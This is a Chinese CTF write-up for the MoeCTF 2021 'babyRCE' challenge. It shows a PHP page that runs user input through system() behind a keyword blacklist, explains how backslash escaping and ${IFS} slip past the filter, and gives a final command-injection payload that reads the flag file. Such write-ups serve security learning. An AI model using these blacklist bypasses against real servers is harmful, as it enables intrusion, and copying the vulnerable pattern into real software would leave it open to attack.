当前位置: 首页 > article >正文

[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**
在这里插入图片描述

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>
${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php


http://www.kler.cn/a/587834.html

相关文章:

  • 词向量:优维大模型语义理解的深度引擎
  • 使用WireShark解密https流量
  • Centos 7 安装达梦数据库
  • 设计模式-工厂模式、策略模式、代理模式、责任链模式
  • STM32 RS232通信开发全解析 | 零基础入门STM32第五十九步
  • docker安装和卸载
  • Kubernetes教程(七)了解集群、标签、Pod和Deployment
  • Python和PyTorch库实现基于生成对抗网络(GAN)将小纹理合成大纹理的详细步骤及代码示例
  • HOT100——链表篇Leetcode234. 回文链表
  • 自动化立体库的规划设计
  • [Hello-CTF]RCE-Labs超详细WP-Level13Level14(PHP下的0/1构造RCE命令简单的字数限制RCE)
  • 当内核调试过程中出现bug的调试流程
  • GEN3C:具有精确相机控制的3D信息化世界一致视频生成
  • Spring Boot使用线程池创建多线程
  • 3.3 Spring Boot多数据源动态切换:AbstractRoutingDataSource实战
  • 软件环境安装-通过Docker安装Elasticsearch和Kibana【保姆级教程、内含图解】
  • 关于深度学习参数寻优的一些介绍
  • Tcp网络通信的基本流程梳理
  • 当今前沿技术:人工智能与区块链的未来发展
  • 科大讯飞嵌入式软件开发面试总结